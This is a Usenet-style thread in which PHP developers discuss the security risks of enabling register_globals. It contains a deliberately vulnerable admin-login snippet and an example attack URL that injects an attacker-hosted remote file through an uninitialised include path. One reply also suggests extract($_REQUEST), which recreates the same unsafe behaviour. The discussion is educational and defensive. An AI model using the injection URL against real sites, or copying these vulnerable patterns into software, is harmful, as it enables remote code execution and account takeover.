Question about register_globals in php.ini

[lian]

Hi all,
I have installed a web-based software written in php which needs
that i should turn "register_globa ls" from off to on in the php.ini.

There are some comments for register_global s in php.ini saying: "You
should do your best to write your scripts so that they do not require
register_global s to be on; Using form variables as globals can easily
lead to possible security problems, if the code is not very well thought
of."

Since there are other php programs running on the same server, i do
care this comments very much.

Can someone give me some hints what is this *possible* security
problem if i turn the register_global s "on"? And what should i pay
attention when writing my own php program on a "register_globa ls on"
server to avoid some attack?


Thanks in advance!

Lian

[Pedro Graca]

Re: Question about register_global s in php.ini

lian wrote:[color=blue]
> I have installed a web-based software written in php which needs
> that i should turn "register_globa ls" from off to on in the php.ini.[/color]

You probably can do that in a .htaccess file (in the directory that
software is put to) instead of changing the global php.ini.
[color=blue]
> Can someone give me some hints what is this *possible* security
> problem if i turn the register_global s "on"? And what should i pay
> attention when writing my own php program on a "register_globa ls on"
> server to avoid some attack?[/color]

Initialize *all* variables and register_global s no longer has any
security impact for your code.

Setting errorlevel to include notices (about using uninitialized
variables) is also a Good Thing.


Suppose you have a form that sends a username and password to the server
for validation. Bad (exploitable) code relying on register_global s could
then be:

<?php /* bad code: DO NOT DUPLICATE */
/* $username and $password have been automatically created */
/* because register_global s is on */
if (($username == 'admin') && ($password == 'SeCReT')) {
$admin = true;
}

/* no initialization for $admin */
/* also relies on the fact that the first use of a variable */
/* sets it to 0 or false (after issuing a notice that is */
/* usually ignored) */
if ($admin) {
/* do admin stuff */
}
?>

When some hacker changes the form (or URL) to also send the 'admin'
value, he'll get access to the admin stuff without knowing the
password.
By just inserting

$admin = false;

before any use of the variable (like the beginning of the script) you
avoid that security risk.

<?php
error_reporting (E_ALL);
ini_set('displa y_errors', '1');
$admin = false; /* initialize $admin */

/* $username and $password have been automatically created */
/* because register_global s is on */
if (($username == 'admin') && ($password == 'SeCReT')) {
$admin = true;
}

/* initialization done for $admin */
if ($admin) {
/* do admin stuff */
}
?>


--
Mail to my "From:" address is readable by all at http://www.dodgeit.com/
== ** ## !! ------------------------------------------------ !! ## ** ==
TEXT-ONLY mail to the whole "Reply-To:" address ("My Name" <my@address>)
may bypass my spam filter. If it does, I may reply from another address!

[Chung Leong]

Re: Question about register_global s in php.ini

"Pedro Graca" <hexkid@dodgeit .com> wrote in message
news:slrncs02nf .83r.hexkid@ID-203069.user.uni-berlin.de...[color=blue]
> lian wrote:[color=green]
> > I have installed a web-based software written in php which needs
> > that i should turn "register_globa ls" from off to on in the php.ini.[/color]
>
> You probably can do that in a .htaccess file (in the directory that
> software is put to) instead of changing the global php.ini.
>[color=green]
> > Can someone give me some hints what is this *possible* security
> > problem if i turn the register_global s "on"? And what should i pay
> > attention when writing my own php program on a "register_globa ls on"
> > server to avoid some attack?[/color]
>
> Initialize *all* variables and register_global s no longer has any
> security impact for your code.[/color]

That statement is a little misleading. Yes, register_global s would not
promise your system if all global variables are initialized. Initializing
all global variables does not guarantee that would happen, however. If you
do not fully control your execution path, then your initialization code
could be bypassed.

This bring us back to the "why single entry point systems suck" discussion.
If the initialization of globals happen at the designated entry point, and
there exist in the application other unintended entry points (a very common
mistake), then register_global s becomes extremely dangerous. The example
below demonstrate the prototypical register_global s vulnerability.

In web application X, all pages are accessed through controller.php. This
script looks at a GET variable to determine which page to display.
Configuration information is stored in a file called config.php.

config.php:
<?
$CLASS_PATH = "/usr/lib/scripting/php/classes";
$DB_USER = "satan";
$DB_NAME = "hell";
/* other variables */
?>

controller.php:
<?

require("config .php");
require("header .php");

switch($_GET['section']) {
case 'forum': require("forum. php"); break;
case 'about': require("about. php"); break;
/* other pages */
default: require("main.p hp");
}

require("footer .php");

?>

forum.php:
<?

require("$CLASS _PATH/UI.View.Message .php");
require("$CLASS _PATH/UI.View.Message Thread.php");
require("$CLASS _PATH/UI.Widget.HTMLE ditor.php");

/* do stuff */

?>

The vulnerability is in forum.php. Even through controller.php is the page
that people are supposed to go through, nothing stops them from accessing
forum.php directly, in which case $CLASS_PATH is no longer initialized. And
as you know, require() can read files from a remote source. So an attacker
can inject arbituary PHP code into the script with this URL:

http://www.hell.uz/forum.php?CLASS_PATH=http://12.233.666.28/dk.txt?

where dk.txt, sitting on the attacker's server, holds the malicious code.

The real design flaw here is allowing remote require/include. Instead of
fixing that the PHP team decided to banish register_global s. Oh well.

[Daniel Tryba]

Re: Question about register_global s in php.ini

Chung Leong <chernyshevsky@ hotmail.com> wrote:
[snip][color=blue]
> The vulnerability is in forum.php. Even through controller.php is the page
> that people are supposed to go through, nothing stops them from accessing
> forum.php directly, in which case $CLASS_PATH is no longer initialized. And
> as you know, require() can read files from a remote source. So an attacker
> can inject arbituary PHP code into the script with this URL:
>
> http://www.hell.uz/forum.php?CLASS_P...666.28/dk.txt?
>
> where dk.txt, sitting on the attacker's server, holds the malicious code.
>
> The real design flaw here is allowing remote require/include.[/color]

And the real _design_ flaw in the snipped code is that files that are
only intended for include()s can be directly called by a client. They
should be stored somewhere outside the "documentro ot" or simular
solutions.

[Chung Leong]

Re: Question about register_global s in php.ini

"lian" <npman@ming.com > wrote in message
news:32a89qF3kr k05U1@individua l.net...[color=blue]
> Hi all,
> I have installed a web-based software written in php which needs
> that i should turn "register_globa ls" from off to on in the php.ini.
>
> There are some comments for register_global s in php.ini saying: "You
> should do your best to write your scripts so that they do not require
> register_global s to be on; Using form variables as globals can easily
> lead to possible security problems, if the code is not very well thought
> of."
>
> Since there are other php programs running on the same server, i do
> care this comments very much.
>
> Can someone give me some hints what is this *possible* security
> problem if i turn the register_global s "on"? And what should i pay
> attention when writing my own php program on a "register_globa ls on"
> server to avoid some attack?
>
>
> Thanks in advance!
>
> Lian[/color]

See if the application uses a globally included file. If it does, then add
the following lines at the top to simulate register_global s:

extract($_REQUE ST);
extract($_ENV);
extract($_SERVE R);

If it doesn't, it's also not that hard to add them to every file :-)

I would advise against turning on register_global s if you're using other PHP
apps. If they're popular packages and they're not secured in a
register_global s on environment, then chances are there're automated attacks
exploiting any vulnerability. The next thing you know your server will be
spewing out gigabytes of spam. As for this application itself, if it uses a
single entry point system, then don't use it. Read my other message for an
explanation.

[Michael Fesser]

Re: Question about register_global s in php.ini

.oO(Chung Leong)
[color=blue]
>The vulnerability is in forum.php. Even through controller.php is the page
>that people are supposed to go through, nothing stops them from accessing
>forum.php directly,[/color]

Not PHP's fault.
[color=blue]
>in which case $CLASS_PATH is no longer initialized. And
>as you know, require() can read files from a remote source.[/color]

If enabled.
[color=blue]
>So an attacker
>can inject arbituary PHP code into the script with this URL:
>
>http://www.hell.uz/forum.php?CLASS_P...666.28/dk.txt?
>
>where dk.txt, sitting on the attacker's server, holds the malicious code.
>
>The real design flaw here is allowing remote require/include. Instead of
>fixing that the PHP team decided to banish register_global s. Oh well.[/color]

The problem is not the remote execution, but simply the programmer's
mistake. If you want to have a single-entry application then you have to
make sure that there are definitely no other entry points. In your
example the forum.php should not be accessible with an URL. If it is
then you have to live with the consequences.

PHP just offers the tools, whether you build something useful or a time
bomb with it is up to you.

Micha

[Chung Leong]

Re: Question about register_global s in php.ini

"Michael Fesser" <netizen@gmx.ne t> wrote in message
news:rsa4s0d7gj gqalp53jl39f144 e65h70sjr@4ax.c om...[color=blue]
> .oO(Chung Leong)
>[color=green]
> >The vulnerability is in forum.php. Even through controller.php is the[/color][/color]
page[color=blue][color=green]
> >that people are supposed to go through, nothing stops them from accessing
> >forum.php directly,[/color]
>
> Not PHP's fault.[/color]

I'm not saying it is.
[color=blue][color=green]
> >in which case $CLASS_PATH is no longer initialized. And
> >as you know, require() can read files from a remote source.[/color]
>
> If enabled.[/color]

As far as I know there's no way to disable remote file access for require()
and include() only. In most PHP setups therefore it is enabled, as
file("http://...") is such a commonly operation.

Security of an application shouldn't be reliant on server set up anyway. It
should be built into the code.
[color=blue][color=green]
> >So an attacker
> >can inject arbituary PHP code into the script with this URL:
> >
> >http://www.hell.uz/forum.php?CLASS_P...666.28/dk.txt?
> >
> >where dk.txt, sitting on the attacker's server, holds the malicious code.
> >
> >The real design flaw here is allowing remote require/include. Instead of
> >fixing that the PHP team decided to banish register_global s. Oh well.[/color]
>
> The problem is not the remote execution, but simply the programmer's
> mistake. If you want to have a single-entry application then you have to
> make sure that there are definitely no other entry points. In your
> example the forum.php should not be accessible with an URL. If it is
> then you have to live with the consequences.[/color]

The mistake is using a single-entry point system. Or to be more specific,
the mistake is executing code in the global scope in files that are not
meant to be accessed. If your include files contain only function and class
definitions, then you wouldn't have a problem even if they reside in a web
accessible directory.
[color=blue]
> PHP just offers the tools, whether you build something useful or a time
> bomb with it is up to you.[/color]

Outlook is also just a tool.

[Michael Fesser]

Re: Question about register_global s in php.ini

.oO(Chung Leong)
[color=blue][color=green]
>> The problem is not the remote execution, but simply the programmer's
>> mistake. If you want to have a single-entry application then you have to
>> make sure that there are definitely no other entry points. In your
>> example the forum.php should not be accessible with an URL. If it is
>> then you have to live with the consequences.[/color]
>
>The mistake is using a single-entry point system.[/color]

I don't consider that a real problem if done properly (even if I don't
like it).
[color=blue]
>Or to be more specific,
>the mistake is executing code in the global scope in files that are not
>meant to be accessed. If your include files contain only function and class
>definitions, then you wouldn't have a problem even if they reside in a web
>accessible directory.[/color]

OK, but why would you want to have files in a web accessible directory
that are not meant for direct access? If I don't want people accessing
certain files then I simply don't provide that possibility.
[color=blue][color=green]
>> PHP just offers the tools, whether you build something useful or a time
>> bomb with it is up to you.[/color]
>
>Outlook is also just a tool.[/color]

Yep, for spreading viruses. SCNR ;)

Micha

[Brion Vibber]

Re: Question about register_global s in php.ini

Michael Fesser wrote:[color=blue]
> .oO(Chung Leong)[color=green]
>>Or to be more specific,
>>the mistake is executing code in the global scope in files that are not
>>meant to be accessed. If your include files contain only function and class
>>definitions , then you wouldn't have a problem even if they reside in a web
>>accessible directory.[/color]
>
> OK, but why would you want to have files in a web accessible directory
> that are not meant for direct access? If I don't want people accessing
> certain files then I simply don't provide that possibility.[/color]

A legitimate reason is that you're distributing the scripts as an
archive that's runnable in-place after extraction.

People installing the software might or might not _have_ a usable area
outside their web root, and if they do it will require extra work to set
it up. Putting include files into a subdirectory is easier to get
working out of the box (and thus reduces the support burden from
third-party users), but you may not be able to guarantee that it's
sealed off from access.

As a precaution, you can toss in a default .htaccess file which will
block off the directory on some Apache configurations, but not all
configurations will allow it.

-- brion vibber (brion @ pobox.com)